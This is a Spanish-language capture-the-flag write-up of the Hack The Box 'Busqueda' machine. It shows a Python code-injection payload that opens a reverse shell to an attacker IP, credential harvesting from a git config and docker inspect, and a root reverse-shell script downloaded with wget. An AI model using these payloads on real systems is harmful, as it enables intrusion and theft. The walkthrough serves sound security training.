Saltar al contenido

Búsqueda – Hack The Box 🔎

Echemos un ojito a las banderas de esta máquina Linux.

Tanto en este ámbito de la ciberseguridad, como en muchos otros de la vida, la practica hace al maestro. Es por ello que después de terminar un par de cursos -el Practical Ethical Hacking 1 y el Practical Web Application Security and Testing 2, ambos de TCM Academy- decidí retomar los retos de “captura de bandera” disponibles en Hack The Box 3. Iniciando con las máquinas con dificultad más baja disponibles a la hora de escribir este write-up. Comencemos:


  • Máquina: Búsqueda
  • Sistema operativo: Linux
  • Dificultad: Fácil

Empezamos con un escaneo de puertos básico sobre la dirección IP del sistema objetivo, en este caso es la 10.10.11.208:

nmap -sC -sV 10.10.11.208 -T4

Como podemos ver, el objetivo tiene dos puertos abiertos; el puerto 22 con un servicio OpenSSH versión 8.9p1, y el puerto 80 con un Apache 2.4.52 corriendo sobre el.

En estos casos, cuando aparece un servicio http corriendo sobre un puerto abierto, lo primero que suelo hacer es agregar la dirección IP/dominio al archivo /etc/hosts en mi sistema atacante:

Una vez hecho lo anterior, visité el servidor web mediante la dirección http://10.10.11.208:

Lo primero que vemos es una página muy sencilla llena de texto. En ella podemos leer que el sitio se trata de un motor de búsqueda que, a su vez hace uso de otros motores de búsqueda y recursos similares para que localizar lo que el usuario final desee.

Poniendo atención a la parte inferior de la página, encontraremos que aparece visible el número de versión de la aplicación, en este caso Searchor 2.4.0. Vayamos a internet a buscar si existe alguna vulnerabilidad conocida para esta versión:

Después de buscar por un rato, llegué hasta el repositorio de Github 4 encerrado arriba. En donde se muestra una prueba de concepto de una vulnerabilidad de ‘Ejecución de Código Arbitrario ‘ que afecta a la versión 2.4.0 de Searchor :

Incluso se enlistan los pasos a seguir para poder explotar la vulnerabilidad en sistemas Linux. Además de compartir el payload a utilizar, mismo que sólo necesita que agreguemos nuestra dirección IP y puerto de escucha.

Entonces, siguiendo los pasos de la prueba de concepto recién encontrada, lo primero que hice fue iniciar un puerto escucha por medio de la herramienta netcat :

Para después ingresar el siguiente código dentro de la caja de texto disponible en el sitio web:

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.109',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

Y finalizar presionando el botón “Search“…

Funcionó, tenemos una shell !!!

Una vez dentro del sistema objetivo, podría enumerar servicios, puertos, binarios, etc. Pero iré primeramente directo al grano, a buscar las banderas:

La bandera del usuario en la bolsa!!!

Ahora si, realizaré una pequeña enumeración de directorios y servicios presentes en el sistema, para así, poder encontrar un posible vector de ataque para llevar a cabo una ‘escalada de privilegios ‘ :

Dentro del directorio /home/svc/.git/ encontré un archivo de nombre config, mismo que contiene varios datos interesantes: nombre de usuario, contraseña y el subdominio gitea.searcher.htb. Agregaré dicha dirección a mi archivo /etc/hosts :

Ahora si, puedo visitar el subdominio. Encontrando la aplicación web Gitea. Veamos que nos muestra sin tener acceso:

Llegando hasta el directorio http://gitea.searcher.htb/explore/users en donde claramente se puede observar que existen dos usuarios; ‘administrator ‘ y ‘cody ‘. De este último tenemos sus credenciales encontradas en el archivo config dos pasos atrás.

⚠️Ingresé a la aplicación con dichas credenciales pero poco o nada útil encontré. Seguiré buscando dentro del sistema.

Continuando con la enumeración post-exploitación; ejecuté el comando sudo -S -l para ver que comandos con privilegios avanzados puede correr este usuario. Encontrando que existe un script de python con dichos permisos:

Hice una prueba, agregando un archivo al final (en este caso /etc/password )para ver que mensaje me mostraba el sistema:

Y me mostró la sintaxis a seguir y las opciones disponibles de dicho script. Probemos cada una de las tres:

En efecto, se trata de dos comandos propios de docker -uno de ellos nos muestra que existen corriendo dos contenedores, uno con la aplicación Gitea, mientras que el otro con la base de datos MySQL v.8-. Así como un scrip que supuestamente hace una revisión completa del sistema.

Investigando un poco en internet la opción 2, ‘docker-inspect ‘, encontré una publicación5 que nos muestra la sintaxis para ver el archivo de configuración de algún contenedor. Hagamos una prueba agregando el siguiente código ‘docker inspect --format='{{json .Config}}' $INSTANCE_ID ‘ después del comando con privilegios avanzados, y sólo modificando el nombre del contenedor deseado al final:

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker inspect --format='{{json .Config}}' $INSTANCE_ID

Vaya, vaya. Tal parece que hemos encontramos las credenciales de administrador de ambos contenedores, y por lo siguiente, de ambas aplicaciones. Hagamos la prueba con Gitea, ingresando el usuario administrator y la contraseña reciend obtenida yuiu1hoiu4i5ho1uh :

Acceso como usuario administrador!. Inmediatamente al ingresar, la aplicación nos muestra un directorio de nombre scripts. Veamos que contiene:

4 scripts es lo que encontré. A revisar cada uno para ver que información valiosa pudieran contener.

Dentro del archivo system-checkup.py se hace mención que script full-checkup.sh es el encargado de correr cuando se ejecute el comando full-checkup dentro del sistema. Siguiendo esta lógica, si lograra cargar un archivo con un nombre similar, que lleve dentro un payload que permita obtener una shell reversa tendríamos permisos avanzados. Vamos a ello.

Entonces, lo primero a realizar será crear el archivo full-checkup.sh, agregando el siguiente código de python :

#!/usr/bin/python3
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.109",4445)) #Dirección IP y puerto atacante
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
prt.spawn("sh")

Para después cargarlo a la máquina objetivo mediante la creación un de servidor web local con ‘sudo python3 -m http.server 80‘ desde el mismo directorio en donde guardamos el archivo full-checkup.sh en nuestro sistema atacante.

Una vez hecho lo anterior, desde el interior de la máquina objetivo, me moví al directorio /tmp (que es el más indicado para este tipo de situaciones) para cargar el archivo mediante el comando ‘wget http://<ip_maq_atacante>:<puerto>/full-checkup.sh‘. Sin olvidar otorgarle permisos de ejecución ejecutando ‘chmod +x full-checkup.sh‘ :

Lo siguiente será tener listo un puerto escucha en mi sistema, para ello netcat es la herramienta idónea; ‘nc -lvnp 4445

Para después, por fin ya ejecutar el comando que nos podría dar acceso con permisos de root :

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Inmediatamente netcat nos avisa de una conexión entrante. Que será?:

Acceso con privilegios de administrador en el sistema. Ahora sólo queda buscar la bandera y reclamar el logro en el sitio de Hack The Box :

Referencias:

  1. https://academy.tcm-sec.com/p/practical-ethical-hacking-the-complete-course
  2. https://academy.tcm-sec.com/p/practical-web-application-security-and-testing
  3. https://www.hackthebox.com/
  4. https://github.com/jonnyzar/POC-Searchor-2.4.2
  5. https://docs.docker.com/engine/reference/commandline/inspect/

🤘 Happy Hacking 🤘

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *